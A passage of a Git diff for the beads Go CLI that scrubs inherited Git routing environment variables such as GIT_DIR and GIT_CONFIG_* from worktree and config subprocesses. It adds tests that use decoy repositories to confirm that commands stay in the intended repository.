entry[:separator] - } - upperKey := strings.ToUpper(key) - if strings.HasPrefix(upperKey, "GIT_CONFIG") { +// scrubWorktreeGitRoutingEnvForOS removes inherited Git repository, index, +// object, namespace, executable, template, and config routing. It deliberately +// preserves non-routing controls such as GIT_OPTIONAL_LOCKS; the removal runner +// applies its stricter policy separately. +func scrubWorktreeGitRoutingEnvForOS(env []string, goos string) []string { + return gitenv.ScrubRoutingForOS(env, goos) +} + +func scrubWorktreeRemovalGitEnv(env []string) []string { + return scrubWorktreeRemovalGitEnvForOS(env, runtime.GOOS) +} + +func scrubWorktreeRemovalGitEnvForOS(env []string, goos string) []string { + cleaned := scrubWorktreeGitRoutingEnvForOS(env, goos) + // ScrubRoutingForOS returns a fresh slice, so filtering it in place is safe. + result := cleaned[:0] + for _, entry := range cleaned { + key := worktreeGitEnvKey(entry) + // Key identity is the subprocess lookup rule (execenv), not ToUpper. + // The two disagree in both directions for non-ASCII keys on Windows: + // ToUpper leaves GİT_OPTIONAL_LOCKS unmatched although Git honors it, + // and folds GIT_OPTIONAL_LOCKſ onto the literal although os/exec keeps + // it distinct. + if execenv.KeyEqualForOS(key, "GIT_NO_REPLACE_OBJECTS", goos) || + execenv.KeyEqualForOS(key, "GIT_OPTIONAL_LOCKS", goos) { continue } - if _, blocked := exactKeys[upperKey]; blocked { - continue - } - cleaned = append(cleaned, entry) + result = append(result, entry) } - return cleaned + return result +} + +func worktreeGitEnvKey(entry string) string { + return gitenv.EntryKey(entry) +} + +// clearWorktreeGitRoutingEnv establishes the command working directory as the +// repository-selection boundary without changing process identity or signal +// semantics. Startup config discovery applies the same boundary to its one +// pre-hook Git probe. +func clearWorktreeGitRoutingEnv(cmd *cobra.Command) error { + if !hasWorktreeCommandAncestor(cmd) { + return nil + } + if _, err := gitenv.ClearRouting(); err != nil { + return fmt.Errorf("clear inherited Git routing for worktree command: %w", err) + } + return nil +} + +func hasWorktreeCommandAncestor(cmd *cobra.Command) bool { + for current := cmd; current != nil; current = current.Parent() { + if current == worktreeCmd { + return true + } + } + return false } func (git *worktreeRemovalGit) command(ctx context.Context, dir string, args ...string) *exec.Cmd { diff --git a/cmd/bd/worktree_remove_test.go b/cmd/bd/worktree_remove_test.go index 4a7f3a323..8a3b90dcc 100644 --- a/cmd/bd/worktree_remove_test.go +++ b/cmd/bd/worktree_remove_test.go @@ -85,7 +85,7 @@ func TestWorktreeRemoveProcessHelper(t *testing.T) { func runWorktreeRemoveHookGit(dir string, args ...string) error { command := exec.Command("git", args...) command.Dir = dir - command.Env = append(scrubWorktreeRemovalGitEnv(os.Environ()), "GIT_CONFIG_GLOBAL="+os.DevNull, "GIT_CONFIG_SYSTEM="+os.DevNull, "GIT_CONFIG_NOSYSTEM=1", "GIT_NO_REPLACE_OBJECTS=1") + command.Env = append(scrubWorktreeGitRoutingEnv(os.Environ()), "GIT_CONFIG_GLOBAL="+os.DevNull, "GIT_CONFIG_SYSTEM="+os.DevNull, "GIT_CONFIG_NOSYSTEM=1", "GIT_NO_REPLACE_OBJECTS=1") output, err := command.CombinedOutput() if err != nil { return fmt.Errorf("git %s failed: %w\n%s", strings.Join(args, " "), err, output) @@ -157,12 +157,84 @@ func TestWorktreeRemoveE2EReportsRemovalSuccessCleanupFailure(t *testing.T) { fixture.git(t, fixture.repo, "rev-parse", "--verify", "refs/heads/lane") } -func TestScrubWorktreeRemovalGitEnv(t *testing.T) { - input := []string{"PATH=/trusted/bin", "HOME=/home/test", "GIT_DIR=/wrong", "git_work_tree=/wrong-case", "GIT_CONFIG_COUNT=1", "GIT_CONFIG_KEY_0=core.worktree", "GIT_OBJECT_DIRECTORY=/wrong-objects", "GIT_EXEC_PATH=/wrong-exec"} - want := []string{"PATH=/trusted/bin", "HOME=/home/test"} - if got := scrubWorktreeRemovalGitEnv(input); !reflect.DeepEqual(got, want) { - t.Fatalf("scrubWorktreeRemovalGitEnv() = %#v, want %#v", got, want) +func TestScrubWorktreeGitEnvUsesHostKeySemantics(t *testing.T) { + input := []string{ + "PATH=/trusted/bin", + "HOME=/home/test", + "GIT_AUTHOR_NAME=Test User", + "GIT_DIR=/wrong", + "git_work_tree=/wrong-case", + "GIT_CONFIG_COUNT=1", + "GIT_CONFIG_KEY_0=core.worktree", + "git_config_value_0=/wrong-case", + "GIT_OBJECT_DIRECTORY=/wrong-objects", + "GIT_EXEC_PATH=/wrong-exec", + "GIT_NO_REPLACE_OBJECTS=1", + "GIT_OPTIONAL_LOCKS=1", } + for _, test := range []struct { + name, goos string + want []string + }{ + { + name: "POSIX names are case-sensitive", + goos: "linux", + want: []string{"PATH=/trusted/bin", "HOME=/home/test", "GIT_AUTHOR_NAME=Test User", "git_work_tree=/wrong-case", "git_config_value_0=/wrong-case", "GIT_NO_REPLACE_OBJECTS=1", "GIT_OPTIONAL_LOCKS=1"}, + }, + { + name: "Windows names are case-insensitive", + goos: "windows", + want: []string{"PATH=/trusted/bin", "HOME=/home/test", "GIT_AUTHOR_NAME=Test User", "GIT_NO_REPLACE_OBJECTS=1", "GIT_OPTIONAL_LOCKS=1"}, + }, + } { + t.Run(test.name, func(t *testing.T) { + if got := scrubWorktreeGitRoutingEnvForOS(input, test.goos); !reflect.DeepEqual(got, test.want) { + t.Fatalf("scrubWorktreeGitRoutingEnvForOS() = %#v, want %#v", got, test.want) + } + }) + } +} + +// The removal scrub's stricter no-optional-locks policy must key off the same +// identity rule the subprocess uses (execenv), not strings.ToUpper: on Windows +// the two disagree in both directions for non-ASCII keys, so ToUpper both lets +// a honored key survive and drops one os/exec keeps distinct. +func TestScrubWorktreeRemovalGitEnvUsesSubprocessKeyIdentity(t *testing.T) { + input := []string{ + "PATH=/trusted/bin", + "GIT_NO_REPLACE_OBJECTS=1", + "GIT_OPTIONAL_LOCKS=1", + // U+0130: ToUpper leaves it unmatched, Win32 folds it to git_optional_locks. + "GİT_OPTIONAL_LOCKS=1", + // U+017F: ToUpper folds it onto the literal, Win32 keeps it distinct. + "GIT_OPTIONAL_LOCKſ=1", + } + for _, test := range []struct { + name, goos string + want []string + }{ + { + name: "POSIX keys are byte-exact", + goos: "linux", + want: []string{"PATH=/trusted/bin", "GİT_OPTIONAL_LOCKS=1", "GIT_OPTIONAL_LOCKſ=1"}, + }, + { + name: "Windows keys follow subprocess identity", + goos: "windows", + want: []string{"PATH=/trusted/bin", "GIT_OPTIONAL_LOCKſ=1"}, + }, + } { + t.Run(test.name, func(t *testing.T) { + if got := scrubWorktreeRemovalGitEnvForOS(input, test.goos); !reflect.DeepEqual(got, test.want) { + t.Fatalf("scrubWorktreeRemovalGitEnvForOS() = %#v, want %#v", got, test.want) + } + }) + } +} + +func TestNewWorktreeRemovalGitPinsExecutable(t *testing.T) { + t.Setenv("GIT_NO_REPLACE_OBJECTS", "0") + t.Setenv("GIT_OPTIONAL_LOCKS", "1") runner, err := newWorktreeRemovalGit() if err != nil { t.Fatal(err) @@ -170,6 +242,23 @@ func TestScrubWorktreeRemovalGitEnv(t *testing.T) { if !filepath.IsAbs(runner.executable) { t.Fatalf("git executable is not absolute: %q", runner.executable) } + for key, want := range map[string]string{ + "GIT_NO_REPLACE_OBJECTS": "1", + "GIT_OPTIONAL_LOCKS": "0", + } { + matches := 0 + for _, entry := range runner.env { + if strings.HasPrefix(entry, key+"=") { + matches++ + if entry != key+"="+want { + t.Fatalf("%s = %q, want %q", key, entry, key+"="+want) + } + } + } + if matches != 1 { + t.Fatalf("%s occurs %d times in removal environment, want once", key, matches) + } + } } type worktreeRemoveProcessResult struct { @@ -181,7 +270,7 @@ func (result worktreeRemoveProcessResult) combined() string { return result.stdo func (result worktreeRemoveProcessResult) requireSuccess(t *testing.T) { t.Helper() if result.exitCode != 0 { - t.Fatalf("worktree remove failed with exit code %d\nstdout:\n%s\nstderr:\n%s", result.exitCode, result.stdout, result.stderr) + t.Fatalf("worktree command failed with exit code %d\nstdout:\n%s\nstderr:\n%s", result.exitCode, result.stdout, result.stderr) } } func (result worktreeRemoveProcessResult) requireFailure(t *testing.T, substring string) { @@ -355,7 +444,7 @@ func (fixture *worktreeRemovalFixture) git(t *testing.T, directory string, args t.Helper() command := exec.Command("git", args...) command.Dir = directory - command.Env = append(scrubWorktreeRemovalGitEnv(os.Environ()), "GIT_CONFIG_GLOBAL="+os.DevNull, "GIT_CONFIG_SYSTEM="+os.DevNull, "GIT_CONFIG_NOSYSTEM=1", "GIT_NO_REPLACE_OBJECTS=1") + command.Env = append(scrubWorktreeGitRoutingEnv(os.Environ()), "GIT_CONFIG_GLOBAL="+os.DevNull, "GIT_CONFIG_SYSTEM="+os.DevNull, "GIT_CONFIG_NOSYSTEM=1", "GIT_NO_REPLACE_OBJECTS=1") output, err := command.CombinedOutput() if err != nil { t.Fatalf("git %s failed: %v\n%s", strings.Join(args, " "), err, output) diff --git a/cmd/bd/worktree_test.go b/cmd/bd/worktree_test.go index 8c7b01f8b..c24c01ed4 100644 --- a/cmd/bd/worktree_test.go +++ b/cmd/bd/worktree_test.go @@ -1,11 +1,18 @@ package main import ( + "bytes" "context" + "encoding/json" + "errors" "os" "os/exec" "path/filepath" + "runtime" + "strings" "testing" + + "github.com/steveyegge/beads/internal/gitenv" ) func TestTruncateForBox(t *testing.T) { @@ -69,6 +76,8 @@ func TestGitRevParse(t *testing.T) { } func TestGitCmdInDirSuppressesHooksViaGitConfig(t *testing.T) { + t.Setenv("GIT_DIR", "/wrong") + t.Setenv("GIT_OPTIONAL_LOCKS", "1") cmd := gitCmdInDir(t.Context(), "/tmp/example", "status", "--porcelain") if cmd.Dir != "/tmp/example" { t.Fatalf("cmd.Dir = %q, want /tmp/example", cmd.Dir) @@ -82,15 +91,312 @@ func TestGitCmdInDirSuppressesHooksViaGitConfig(t *testing.T) { t.Fatalf("cmd.Args[%d] = %q, want %q; full args: %#v", i+1, got, want, cmd.Args) } } + hasTemplateSuppression := false + hasOptionalLocks := false for _, env := range cmd.Env { if env == "GIT_HOOKS_PATH=" { t.Fatal("cmd.Env contains dead GIT_HOOKS_PATH hook suppression") } if env == "GIT_TEMPLATE_DIR=" { - return + hasTemplateSuppression = true + } + if env == "GIT_OPTIONAL_LOCKS=1" { + hasOptionalLocks = true + } + if gitenv.IsRoutingKeyForOS(worktreeGitEnvKey(env), runtime.GOOS) && env != "GIT_TEMPLATE_DIR=" { + t.Fatalf("cmd.Env retains Git routing state: %q", env) } } - t.Fatal("cmd.Env missing GIT_TEMPLATE_DIR suppression") + if !hasTemplateSuppression { + t.Fatal("cmd.Env missing GIT_TEMPLATE_DIR suppression") + } + if !hasOptionalLocks { + t.Fatal("cmd.Env did not preserve GIT_OPTIONAL_LOCKS") + } +} + +func TestClearWorktreeGitRoutingEnvPreservesNonRoutingVariables(t *testing.T) { + // ClearRouting is deliberately process-lifetime state for the real CLI. + // Register restorations for every routing key inherited by the test process + // before exercising that boundary in-process. + for _, entry := range os.Environ() { + key := worktreeGitEnvKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, os.Getenv(key)) + } + } + t.Setenv("GIT_DIR", "/wrong") + t.Setenv("GIT_CONFIG_COUNT", "1") + t.Setenv("GIT_OPTIONAL_LOCKS", "1") + t.Setenv("GIT_NO_REPLACE_OBJECTS", "1") + t.Setenv("BD_WORKTREE_ENV_SENTINEL", "keep") + + if err := clearWorktreeGitRoutingEnv(worktreeListCmd); err != nil { + t.Fatalf("clearWorktreeGitRoutingEnv() error = %v", err) + } + for _, key := range []string{"GIT_DIR", "GIT_CONFIG_COUNT"} { + if value, ok := os.LookupEnv(key); ok { + t.Fatalf("%s remains set to %q", key, value) + } + } + for key, want := range map[string]string{ + "GIT_OPTIONAL_LOCKS": "1", + "GIT_NO_REPLACE_OBJECTS": "1", + "BD_WORKTREE_ENV_SENTINEL": "keep", + } { + if got := os.Getenv(key); got != want { + t.Fatalf("%s = %q, want %q", key, got, want) + } + } +} + +func TestWorktreeCommandsIgnoreInheritedGitRoutingState(t *testing.T) { + bdBinary := buildBDForInitTests(t) + + decoyRepo := newGitRepo(t) + commitTestFile(t, decoyRepo, "README.md", "decoy\n", "decoy commit") + decoyBeadsDir := filepath.Join(decoyRepo, ".beads") + writeTestConfigYAML(t, decoyBeadsDir, "issue-prefix: decoy\n") + if err := os.WriteFile( + filepath.Join(decoyBeadsDir, ".env"), + []byte("BEADS_DIR="+filepath.ToSlash(decoyBeadsDir)+"\n"), + 0o600, + ); err != nil { + t.Fatalf("write decoy selector environment: %v", err) + } + // An unsanitized post-create status check would see this file and reject an + // otherwise clean target worktree. + if err := os.WriteFile(filepath.Join(decoyRepo, "decoy-dirty.txt"), []byte("dirty\n"), 0600); err != nil { + t.Fatal(err) + } + + poisonConfig := filepath.Join(t.TempDir(), "poison.gitconfig") + if err := os.WriteFile(poisonConfig, []byte("[core]\n\tworktree = "+filepath.ToSlash(decoyRepo)+"\n"), 0600); err != nil { + t.Fatal(err) + } + poisonEnv := []string{ + "GIT_DIR=" + filepath.Join(decoyRepo, ".git"), + "GIT_WORK_TREE=" + decoyRepo, + "GIT_COMMON_DIR=" + filepath.Join(decoyRepo, ".git"), + "GIT_INDEX_FILE=" + filepath.Join(decoyRepo, ".git", "index"), + "GIT_OBJECT_DIRECTORY=" + filepath.Join(decoyRepo, ".git", "objects"), + "GIT_ALTERNATE_OBJECT_DIRECTORIES=" + filepath.Join(decoyRepo, ".git", "objects"), + "GIT_EXEC_PATH=" + filepath.Join(decoyRepo, "missing-git-exec"), + "GIT_NAMESPACE=poison", + "GIT_CONFIG_GLOBAL=" + poisonConfig, + "GIT_CONFIG_SYSTEM=" + poisonConfig, + "GIT_CONFIG_NOSYSTEM=0", + "GIT_CONFIG_COUNT=1", + "GIT_CONFIG_KEY_0=core.worktree", + "GIT_CONFIG_VALUE_0=" + decoyRepo, + "GIT_OPTIONAL_LOCKS=1", + "BEADS_DIR=", + "BEADS_DB=", + "BD_DB=", + } + + t.Run("create list and remove stay in the target repository", func(t *testing.T) { + targetRepo := newGitRepo(t) + commitTestFile(t, targetRepo, "README.md", "target\n", "target commit") + writeTestConfigYAML(t, filepath.Join(targetRepo, ".beads"), "issue-prefix: target\n") + decoyRegistryBefore := gitWorktreeRegistry(t, decoyRepo) + + create := runWorktreeCommandProcess(t, bdBinary, targetRepo, "create", poisonEnv, "lane") + create.requireSuccess(t) + var created struct { + Path string `json:"path"` + Branch string `json:"branch"` + } + decodeWorktreeCommandJSON(t, create.stdout, &created) + lane := filepath.Join(targetRepo, "lane") + if !sameWorktreePath(created.Path, lane) || created.Branch != "lane" { + t.Fatalf("create result = %#v, want target lane %q", created, lane) + } + assertGitWorktreePaths(t, targetRepo, targetRepo, lane) + if got := gitWorktreeRegistry(t, decoyRepo); got != decoyRegistryBefore { + t.Fatalf("create mutated decoy worktree registry:\n--- before ---\n%s\n--- after ---\n%s", decoyRegistryBefore, got) + } + + list := runWorktreeCommandProcess(t, bdBinary, targetRepo, "list", poisonEnv) + list.requireSuccess(t) + var listed []WorktreeInfo + decodeWorktreeCommandJSON(t, list.stdout, &listed) + if len(listed) != 2 || + !sameWorktreePath(listed[0].Path, targetRepo) || listed[0].BeadsState != "shared" || + !sameWorktreePath(listed[1].Path, lane) || listed[1].BeadsState != "none" { + t.Fatalf("list resolved outside target repository or beads state: %#v", listed) + } + + info := runWorktreeCommandProcess(t, bdBinary, lane, "info", poisonEnv) + info.requireSuccess(t) + var details struct { + IsWorktree bool `json:"is_worktree"` + Path string `json:"path"` + MainRepo string `json:"main_repo"` + Branch string `json:"branch"` + BeadsRedirected bool `json:"beads_redirected"` + } + decodeWorktreeCommandJSON(t, info.stdout, &details) + if !details.IsWorktree || + !sameWorktreePath(details.Path, lane) || + !sameWorktreePath(details.MainRepo, targetRepo) || + details.Branch != "lane" || + details.BeadsRedirected { + t.Fatalf("info resolved outside the target worktree: %#v", details) + } + + remove := runWorktreeCommandProcess(t, bdBinary, targetRepo, "remove", poisonEnv, lane, "--force") + remove.requireSuccess(t) + if _, err := os.Stat(lane); !os.IsNotExist(err) { + t.Fatalf("remove left target worktree behind: %v", err) + } + assertGitWorktreePaths(t, targetRepo, targetRepo) + if _, err := os.Stat(filepath.Join(decoyRepo, "decoy-dirty.txt")); err != nil { + t.Fatalf("remove mutated decoy repository: %v", err) + } + }) + + t.Run("create refuses a target without a beads workspace", func(t *testing.T) { + targetRepo := newGitRepo(t) + commitTestFile(t, targetRepo, "README.md", "target without beads\n", "target commit") + lane := filepath.Join(targetRepo, "lane") + registryBefore := gitWorktreeRegistry(t, targetRepo) + + create := runWorktreeCommandProcess(t, bdBinary, targetRepo, "create", poisonEnv, "lane") + if create.exitCode == 0 { + t.Fatalf("create accepted the decoy beads workspace\nstdout:\n%s\nstderr:\n%s", create.stdout, create.stderr) + } + if _, err := os.Stat(lane); !os.IsNotExist(err) { + t.Fatalf("refused create mutated target path: %v", err) + } + if got := gitWorktreeRegistry(t, targetRepo); got != registryBefore { + t.Fatalf("refused create mutated target worktree registry:\n--- before ---\n%s\n--- after ---\n%s", registryBefore, got) + } + if _, err := os.Stat(filepath.Join(targetRepo, ".gitignore")); !os.IsNotExist(err) { + t.Fatalf("refused create mutated target gitignore: %v", err) + } + }) + + t.Run("startup ignores malformed config selected by linked-worktree routing", func(t *testing.T) { + targetRepo := newGitRepo(t) + commitTestFile(t, targetRepo, "README.md", "target\n", "target commit") + + decoyMain := newGitRepo(t) + commitTestFile(t, decoyMain, "README.md", "linked decoy\n", "decoy commit") + writeTestConfigYAML(t, filepath.Join(decoyMain, ".beads"), "json: [\n") + decoyLane := filepath.Join(t.TempDir(), "linked-decoy") + command := exec.Command("git", "worktree", "add", "-b", "linked-decoy", decoyLane) + command.Dir = decoyMain + if output, err := command.CombinedOutput(); err != nil { + t.Fatalf("create decoy linked worktree: %v\n%s", err, output) + } + decoyAdminDir := gitRevParsePath(t, decoyLane, "--absolute-git-dir") + decoyCommonDir := gitRevParsePath(t, decoyLane, "--git-common-dir") + + linkedPoisonEnv := append(append([]string(nil), poisonEnv...), + "GIT_DIR="+decoyAdminDir, + "GIT_WORK_TREE="+decoyLane, + "GIT_COMMON_DIR="+decoyCommonDir, + "GIT_INDEX_FILE="+filepath.Join(decoyAdminDir, "index"), + "GIT_OBJECT_DIRECTORY="+filepath.Join(decoyCommonDir, "objects"), + "GIT_ALTERNATE_OBJECT_DIRECTORIES="+filepath.Join(decoyCommonDir, "objects"), + "BEADS_TEST_IGNORE_REPO_CONFIG=", + ) + list := runWorktreeCommandProcess(t, bdBinary, targetRepo, "list", linkedPoisonEnv) + list.requireSuccess(t) + if strings.Contains(strings.ToLower(list.stderr), "failed to initialize config") { + t.Fatalf("malformed decoy config reached startup initialization:\n%s", list.stderr) + } + var listed []WorktreeInfo + decodeWorktreeCommandJSON(t, list.stdout, &listed) + if len(listed) != 1 || !sameWorktreePath(listed[0].Path, targetRepo) { + t.Fatalf("list resolved outside target repository: %#v", listed) + } + }) +} + +func runWorktreeCommandProcess(t *testing.T, bdBinary, dir, action string, extraEnv []string, args ...string) worktreeRemoveProcessResult { + t.Helper() + commandArgs := append([]string{"--json", "worktree", action}, args...) + command := exec.Command(bdBinary, commandArgs...) + command.Dir = dir + command.Env = overrideWorktreeRemoveEnv(os.Environ(), append([]string{ + "BD_DISABLE_METRICS=1", + "BD_DISABLE_EVENT_FLUSH=1", + "BEADS_TEST_MODE=1", + }, extraEnv...)) + var stdout, stderr bytes.Buffer + command.Stdout, command.Stderr = &stdout, &stderr + err := command.Run() + exitCode := 0 + if err != nil { + var exitError *exec.ExitError + if !errors.As(err, &exitError) { + t.Fatalf("launch worktree command helper: %v", err) + } + exitCode = exitError.ExitCode() + } + return worktreeRemoveProcessResult{stdout: stdout.String(), stderr: stderr.String(), exitCode: exitCode} +} + +func decodeWorktreeCommandJSON(t *testing.T, output string, target any) { + t.Helper() + if err := json.NewDecoder(strings.NewReader(output)).Decode(target); err != nil { + t.Fatalf("decode helper JSON: %v\noutput:\n%s", err, output) + } +} + +func gitWorktreeRegistry(t *testing.T, repoDir string) string { + t.Helper() + command := exec.Command("git", "worktree", "list", "--porcelain") + command.Dir = repoDir + output, err := command.CombinedOutput() + if err != nil { + t.Fatalf("list Git worktree registry for %q: %v\n%s", repoDir, err, output) + } + return strings.TrimSpace(string(output)) +} + +func assertGitWorktreePaths(t *testing.T, repoDir string, want ...string) { + t.Helper() + var got []string + for _, line := range strings.Split(gitWorktreeRegistry(t, repoDir), "\n") { + if path, ok := strings.CutPrefix(strings.TrimSpace(line), "worktree "); ok { + got = append(got, filepath.FromSlash(path)) + } + } + if len(got) != len(want) { + t.Fatalf("Git worktree paths = %#v, want %#v", got, want) + } + matched := make([]bool, len(got)) + for _, wantPath := range want { + found := false + for index, gotPath := range got { + if !matched[index] && sameWorktreePath(gotPath, wantPath) { + matched[index] = true + found = true + break + } + } + if !found { + t.Fatalf("Git worktree paths = %#v, missing %q", got, wantPath) + } + } +} + +func gitRevParsePath(t *testing.T, repoDir, selector string) string { + t.Helper() + command := exec.Command("git", "rev-parse", selector) + command.Dir = repoDir + output, err := command.CombinedOutput() + if err != nil { + t.Fatalf("git rev-parse %s in %q: %v\n%s", selector, repoDir, err, output) + } + path := filepath.FromSlash(strings.TrimSpace(string(output))) + if !filepath.IsAbs(path) { + path = filepath.Join(repoDir, path) + } + return filepath.Clean(path) } // TestResolveWorktreePathByName verifies that resolveWorktreePath can find diff --git a/docs/reference/worktrees.md b/docs/reference/worktrees.md index 6fd87b340..d0ef49f71 100644 --- a/docs/reference/worktrees.md +++ b/docs/reference/worktrees.md @@ -12,6 +12,11 @@ separate from Git branch commits. All worktrees in the same repository use the same beads workspace unless you override discovery with `BEADS_DIR`. +Startup Git discovery probes for every `bd` command scrub inherited Git routing +variables such as `GIT_DIR` and `GIT_WORK_TREE` from their subprocess environment. +Clearing those variables from the `bd` process environment applies only to +`bd worktree` commands. + ``` project/ ├── .git/ # Shared Git directory diff --git a/internal/config/config.go b/internal/config/config.go index ae48de830..5d37cbd51 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -10,6 +10,7 @@ import ( "github.com/spf13/viper" "github.com/steveyegge/beads/internal/debug" + "github.com/steveyegge/beads/internal/gitenv" "gopkg.in/yaml.v3" ) @@ -417,6 +418,10 @@ func worktreeFallbackConfigPath(repoPath string) string { func gitDirsForRepo(repoPath string) (gitDir, commonDir string, ok bool) { cmd := exec.Command("git", "-C", repoPath, "rev-parse", "--git-dir", "--git-common-dir") + // repoPath is the authority for this probe. Inherited Git routing such as + // GIT_DIR overrides -C and can make startup read another repository's + // shared-worktree config before command dispatch has begun. + cmd.Env = gitenv.ScrubRouting(os.Environ()) output, err := cmd.Output() if err != nil { return "", "", false @@ -1010,7 +1015,9 @@ func ResolveExternalProjectPath(projectName string) string { // 3. git config user.name // 4. hostname // -// This is used as the sender field in bd mail commands. +// The Git lookup discards inherited routing overrides, including +// GIT_CONFIG_GLOBAL. Set user.name in the default global config location +// rather than selecting a different file through that environment override. func GetIdentity(flagValue string) string { // 1. Command-line flag takes precedence if flagValue != "" { @@ -1024,6 +1031,7 @@ func GetIdentity(flagValue string) string { // 3. git config user.name cmd := exec.Command("git", "config", "user.name") + cmd.Env = gitenv.ScrubRouting(os.Environ()) if output, err := cmd.Output(); err == nil { if gitUser := strings.TrimSpace(string(output)); gitUser != "" { return gitUser diff --git a/internal/config/git_routing_test.go b/internal/config/git_routing_test.go new file mode 100644 index 000000000..e39722d37 --- /dev/null +++ b/internal/config/git_routing_test.go @@ -0,0 +1,189 @@ +package config + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/gitenv" +) + +func TestGetIdentityIgnoresInheritedGitRouting(t *testing.T) { + ResetForTesting() + t.Cleanup(ResetForTesting) + t.Setenv("BEADS_IDENTITY", "") + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + t.Setenv("XDG_CONFIG_HOME", home) + if err := os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[user]\n\tname = home-user\n"), 0o600); err != nil { + t.Fatal(err) + } + target, decoy := t.TempDir(), t.TempDir() + for _, repo := range []string{target, decoy} { + runConfigProbeGit(t, repo, "init", "--quiet") + } + runConfigProbeGit(t, target, "config", "--local", "user.name", "target-user") + runConfigProbeGit(t, decoy, "config", "--local", "user.name", "decoy-user") + t.Chdir(target) + if err := Initialize(); err != nil { + t.Fatal(err) + } + Set("identity", "") + poisonConfig := filepath.Join(t.TempDir(), "poison.gitconfig") + if err := os.WriteFile(poisonConfig, []byte("[user]\n\tname = injected-user\n"), 0o600); err != nil { + t.Fatal(err) + } + for _, tc := range []struct { + name string + env map[string]string + clearLocal bool + want string + }{ + {name: "repository", env: map[string]string{"GIT_DIR": filepath.Join(decoy, ".git")}, want: "target-user"}, + {name: "inline config", env: map[string]string{"GIT_CONFIG_COUNT": "1", "GIT_CONFIG_KEY_0": "user.name", "GIT_CONFIG_VALUE_0": "injected-user"}, want: "target-user"}, + {name: "global config", env: map[string]string{"GIT_CONFIG_GLOBAL": poisonConfig}, clearLocal: true, want: "home-user"}, + } { + t.Run(tc.name, func(t *testing.T) { + if tc.clearLocal { + runConfigProbeGit(t, target, "config", "--local", "--unset", "user.name") + } + for key, value := range tc.env { + t.Setenv(key, value) + } + if got := GetIdentity(""); got != tc.want { + t.Errorf("GetIdentity() = %q, want %q from the intended config", got, tc.want) + } + Set("identity", "configured-user") + t.Cleanup(func() { Set("identity", "") }) + if got := GetIdentity("flag-user"); got != "flag-user" { + t.Errorf("flag identity = %q", got) + } + if got := GetIdentity(""); got != "configured-user" { + t.Errorf("configured identity = %q", got) + } + }) + } + t.Run("missing Git retains hostname fallback", func(t *testing.T) { + t.Setenv("PATH", t.TempDir()) + want, err := os.Hostname() + if err != nil || want == "" { + t.Fatalf("hostname fixture: %q, %v", want, err) + } + if got := GetIdentity(""); got != want { + t.Errorf("hostname identity = %q, want %q", got, want) + } + }) +} + +func TestSecretGitTrackingIgnoresInheritedGitRouting(t *testing.T) { + target, decoy := t.TempDir(), t.TempDir() + for _, repo := range []string{target, decoy} { + runConfigProbeGit(t, repo, "init", "--quiet") + } + tracked := filepath.Join(target, "config.yaml") + untracked := filepath.Join(target, "untracked.yaml") + for _, path := range []string{tracked, untracked} { + if err := os.WriteFile(path, []byte("json: false\n"), 0o600); err != nil { + t.Fatal(err) + } + } + runConfigProbeGit(t, target, "add", "--", tracked) + for _, tc := range []struct { + name string + env map[string]string + }{ + {name: "repository", env: map[string]string{"GIT_DIR": filepath.Join(decoy, ".git")}}, + {name: "index", env: map[string]string{"GIT_INDEX_FILE": filepath.Join(decoy, "missing-index")}}, + {name: "config", env: map[string]string{"GIT_CONFIG_COUNT": "1", "GIT_CONFIG_KEY_0": "core.worktree", "GIT_CONFIG_VALUE_0": decoy}}, + } { + t.Run(tc.name, func(t *testing.T) { + for key, value := range tc.env { + t.Setenv(key, value) + } + if !isGitTracked(tracked) { + t.Error("routing hid the tracked file in the intended repository") + } + if isGitTracked(untracked) { + t.Error("untracked file reported as tracked") + } + if err := checkSecretGitTracked(tracked, "linear.api_key"); err == nil || !strings.Contains(err.Error(), "refusing to write secret key") { + t.Errorf("tracked secret refusal = %v", err) + } + if err := checkSecretGitTracked(untracked, "linear.api_key"); err != nil { + t.Errorf("untracked secret refused: %v", err) + } + if err := checkSecretGitTracked(tracked, "no-db"); err != nil { + t.Errorf("non-secret key refused: %v", err) + } + }) + } +} + +// A bare repository whose work tree is named only by GIT_DIR/GIT_WORK_TREE is +// invisible to the scrubbed probe — it is reachable through the inherited +// routing alone. The secret guard must still refuse a write into the tracked +// config.yaml there, which is the refusal upstream-base performed before the +// probe began scrubbing routing. +func TestSecretGitTrackingHonorsInheritedBareWorkTree(t *testing.T) { + gitDir, workTree := t.TempDir(), t.TempDir() + runConfigProbeGit(t, workTree, "init", "--bare", "--quiet", gitDir) + tracked := filepath.Join(workTree, "config.yaml") + untracked := filepath.Join(workTree, "untracked.yaml") + for _, path := range []string{tracked, untracked} { + if err := os.WriteFile(path, []byte("json: false\n"), 0o600); err != nil { + t.Fatal(err) + } + } + runConfigProbeGit(t, workTree, "--git-dir", gitDir, "--work-tree", workTree, "add", "--", tracked) + t.Setenv("GIT_DIR", gitDir) + t.Setenv("GIT_WORK_TREE", workTree) + + // Fixture guard: the tracked file must be reachable only through the + // inherited routing, and the scrubbed probe must fail for a configuration + // reason (no reachable repository) rather than "path is not tracked" + // (exit 1), which is final and would leave the fallback unreachable. + probe := func(env []string) error { + cmd := exec.Command("git", "ls-files", "--error-unmatch", tracked) + cmd.Dir = workTree + cmd.Env = env + return cmd.Run() + } + inherited := os.Environ() + scrubbedErr := probe(gitenv.ScrubRouting(inherited)) + if scrubbedErr == nil { + t.Fatal("fixture must require inherited routing, scrubbed probe found the file") + } + if exit, ok := scrubbedErr.(*exec.ExitError); ok && exit.ExitCode() == 1 { + t.Fatalf("fixture must fail the scrubbed probe for a configuration reason, got exit 1") + } + if err := probe(inherited); err != nil { + t.Fatalf("inherited tracking precondition: %v", err) + } + + if !isGitTracked(tracked) { + t.Error("bare work tree tracking was ignored, secret writes are no longer refused") + } + if isGitTracked(untracked) { + t.Error("untracked file reported as tracked") + } + if err := checkSecretGitTracked(tracked, "linear.api_key"); err == nil || !strings.Contains(err.Error(), "refusing to write secret key") { + t.Errorf("tracked secret refusal = %v", err) + } + if err := checkSecretGitTracked(untracked, "linear.api_key"); err != nil { + t.Errorf("untracked secret refused: %v", err) + } +} + +// Fixture setup uses the same routing boundary before any per-case poison is set. +func runConfigProbeGit(t *testing.T, dir string, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + 